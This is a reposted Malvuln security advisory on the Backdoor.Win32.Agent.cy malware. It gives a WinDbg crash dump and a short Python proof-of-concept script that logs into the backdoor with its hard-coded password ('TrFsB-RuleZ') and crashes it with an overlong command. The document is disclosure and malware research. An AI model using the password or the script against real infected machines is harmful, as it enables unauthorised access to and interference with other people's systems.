Tuesday, May 18, 2021

Backdoor.Win32.Agent.cy Denial Of Service / Null Pointer

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e85a1028a52fcc723353a236ada54fee_C.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.cy
Vulnerability: Denial of Service
Description: The malware listens on TCP port 1111, drops an executable named "Spoolsw.exe" under SysWOW64 that runs with SYSTEM integrity. Authenticated intruders can send a 64 byte packet and trigger a null pointer read and crash of the backdoor.
Type: PE32
MD5: e85a1028a52fcc723353a236ada54fee
Vuln ID: MVID-2021-0209
Dropped files: Spoolsw.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 05/14/2021

Memory Dump:
(630.1cc0): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=000a5a74 edx=000a58e4 esi=00000003 edi=00000003
eip=77aeed3c esp=000a5068 ebp=000a51f8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
77aeed3c c21400 ret 14h

0:000> .ecxr
eax=00000000 ebx=750ce250 ecx=000a5a74 edx=000a58e4 esi=00000124 edi=00409388
eip=004014f5 esp=000a5984 ebp=750d5e40 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
*** WARNING: Unable to verify checksum for Spoolsw.exe
*** ERROR: Module load completed but symbols could not be loaded for Spoolsw.exe
Spoolsw+0x14f5:
004014f5 8a10 mov dl,byte ptr [eax] ds:002b:00000000=??

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
Spoolsw+14f5
004014f5 8a10 mov dl,byte ptr [eax]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004014f5 (Spoolsw+0x000014f5)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000000
Attempt to read from address 00000000

DEFAULT_BUCKET_ID: NULL_POINTER_READ

PROCESS_NAME: Spoolsw.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 00000000

READ_ADDRESS: 00000000

FOLLOWUP_IP:
Spoolsw+14f5
004014f5 8a10 mov dl,byte ptr [eax]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 00001cc0

PRIMARY_PROBLEM_CLASS: NULL_POINTER_READ

BUGCHECK_STR: APPLICATION_FAULT_NULL_POINTER_READ

IP_ON_HEAP: 0019fcb3
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

FRAME_ONE_INVALID: 1

LAST_CONTROL_TRANSFER: from 0019fcb3 to 004014f5

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
000a5980 0019fcb3 024c4798 00000000 00000000 Spoolsw+0x14f5
0040738c 616d616e 656c6966 676e6179 65746964 0x19fcb3
00407390 656c6966 676e6179 65746964 616d6972 0x616d616e
00407394 676e6179 65746964 616d6972 7478742e 0x656c6966
00407398 65746964 616d6972 7478742e 00000000 0x676e6179
0040739c 616d6972 7478742e 00000000 6972696b 0x65746964
004073a0 7478742e 00000000 6972696b 0000006d 0x616d6972
004073cc 6f70535c 77736c6f 6578652e 00000000 sechost!EtwpMapEventToEventRecord+0x3fe
004073e4 25746f6f 7379535c 336d6574 70535c32 0x6f70535c
004073e8 7379535c 336d6574 70535c32 736c6f6f 0x25746f6f
004073ec 336d6574 70535c32 736c6f6f 78652e77 0x7379535c
004073f0 70535c32 736c6f6f 78652e77 00000065 0x336d6574
004073f4 736c6f6f 78652e77 00000065 00000000 0x70535c32
004073f8 78652e77 00000065 00000000 ffffffff 0x736c6f6f
004073fc 00000000 00000000 ffffffff 00401993 0x78652e77


STACK_COMMAND: ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: Spoolsw+14f5

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: Spoolsw

IMAGE_NAME: Spoolsw.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 417adf55

FAILURE_BUCKET_ID: NULL_POINTER_READ_c0000005_Spoolsw.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_NULL_POINTER_READ_Spoolsw+14f5

0:000> s -d 0 L?80000000 41414141
000a5c5c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c60 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c64 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c68 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c6c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c70 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c74 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c78 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c7c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c80 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c84 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c88 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000a5c8c 41414141 41414141 41414141 0a0d4141 AAAAAAAAAAAAAA..
000a5c90 41414141 41414141 0a0d4141 00000000 AAAAAAAAAA......


Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=1111

def chk_res(s):
res=""
while True:
res += s.recv(512)
if "\0" in res or "\n" in res or res == "" or "OK" in res:
break
return res

def doit():

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

time.sleep(1)

PAYLOAD="TrFsB-RuleZ\r\n"

s.send(PAYLOAD)
print(chk_res(s))

time.sleep(2)

PAYLOAD="terima"+"A"*64+"\r\n"
s.send(PAYLOAD)
s.close()


if __name__=="__main__":
doit()
print("Backdoor.Win32.Agent.cy / Remote DoS")
print("MD5: e85a1028a52fcc723353a236ada54fee")
print("Malvuln")


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated